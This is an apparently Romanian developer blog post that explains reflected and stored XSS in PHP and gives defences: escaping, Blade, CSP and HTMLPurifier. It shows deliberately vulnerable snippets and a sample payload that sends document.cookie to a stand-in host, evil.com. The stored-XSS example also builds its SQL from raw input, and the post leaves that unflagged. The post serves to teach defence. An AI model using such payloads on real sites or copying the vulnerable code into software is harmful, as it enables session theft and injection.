- Stefanescu Mihai a postat in Paginare in PHP
- johhny a postat in Paginare in PHP
- Stefanescu Mihai a postat in Cum pot afisa eroarea cand utilizatorul a scris un username gresit sau o parola gresita?
- madalin a postat in Cum pot afisa eroarea cand utilizatorul a scris un username gresit sau o parola gresita?
- Stefanescu Mihai a postat in Featureuri site
XSS in PHP: cum functioneaza atacul si cum m-am protejat
Am gasit primul meu XSS intr-un proiect vechi de-al meu. Un camp de cautare care afisa inapoi ce ai cautat. Simplu. Inofensiv. Sau asa credeam.
echo "Ai cautat: " . $_GET['q'];
Cineva putea accesa `https://site.ro/search?q=<script>alert('XSS')</script>` si browser-ul executa codul. De acolo la furt de sesiuni sau redirectionare catre phishing era un pas mic.
Ce este XSS?
Cross-Site Scripting (XSS) e o vulnerabilitate prin care un atacator injecteaza cod JavaScript in pagini vizualizate de alti useri. Exista doua tipuri principale:
Reflected XSS
Codul malitios vine din URL sau un form si e afisat direct in raspuns, fara sa fie salvat in baza de date:
// Vulnerabil echo "Buna, " . $_GET['name']; // Atacatorul trimite: // /greet?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Victima primeste un link cu payload-ul in URL. Cand il acceseaza, scriptul ruleaza in browser-ul ei.
Stored XSS
Codul e salvat in baza de date si afisat tuturor userilor:
// Formular de comentarii - vulnerabil
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Cand afisezi comentariile:
echo $row['text']; // afiseaza scriptul tuturorStored XSS e mai periculos: nu ai nevoie sa convingi victima sa acceseze un URL special — oricine viziteaza pagina e afectat.
Cum te protejezi
1. htmlspecialchars() — protectia de baza
Inainte sa afisezi orice input de la user, escapezi caracterele HTML:
// Vulnerabil echo $_GET['name']; // Sigur echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
`htmlspecialchars()` transforma:
- `<` in `<`
- `>` in `>`
- `"` in `"`
- `'` in `'`
- `&` in `&`
Browser-ul afiseaza caracterele, nu le executa.
Regula importanta: orice date externe (GET, POST, baza de date, API-uri terte) trebuie escape-ate inainte de afisare.
// Creeaza o functie helper
function e(string $value): string
{
return htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
echo "Buna, " . e($_GET['name']);2. Blade in Laravel — escape automat
In Laravel, `{{ }}` face escape automat:
{{ $user->name }} {{-- safe, face htmlspecialchars automat --}}
{!! $user->name !!} {{-- PERICULOS, afiseaza HTML brut --}}Folosesti `{!! !!}` doar cand esti 100% sigur ca datele sunt curate (ex: HTML generat de tine, nu de user).
3. Content Security Policy (CSP)
CSP e un header HTTP care spune browser-ului de unde are voie sa incarce resurse:
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;");Cu CSP, chiar daca un script e injectat, browser-ul refuza sa-l execute daca nu vine dintr-o sursa permisa.
In Laravel, poti seta headers in middleware:
class SecurityHeaders
{
public function handle(Request $request, Closure $next): Response
{
$response = $next($request);
$response->headers->set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
return $response;
}
}4. Sanitizare pentru rich text
Daca ai un editor WYSIWYG si trebuie sa salvezi HTML, nu poti escape tot. Ai nevoie de o librarie de sanitizare:
composer require ezyang/htmlpurifier
apoi o folosim astfel
$config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $safeHtml = $purifier->purify($_POST['content']);
HTMLPurifier pastreaza HTML valid si elimina orice script sau atribut `on*`.
Checklist rapid
- [ ] Toate variabilele afisate in view sunt escape-ate cu `htmlspecialchars()` sau `{{ }}` in Blade
- [ ] `{!! !!}` e folosit doar pentru continut generat intern
- [ ] CSP header e setat
- [ ] Rich text e sanitizat cu HTMLPurifier inainte de salvare
- [ ] Niciun `$_GET`/`$_POST` nu e afisat direct
XSS e una dintre cele mai frecvente vulnerabilitati web tocmai pentru ca e usor de ratat. Un `echo $_GET['q']` facut in graba intr-un proiect mic si ai o gaura de securitate. Lasa un comentariu daca ai intrebari sau vrei sa testam un scenariu specific.
Comentarii
Inca nu au fost postate comentarii, fii primul care posteaza un comentariu!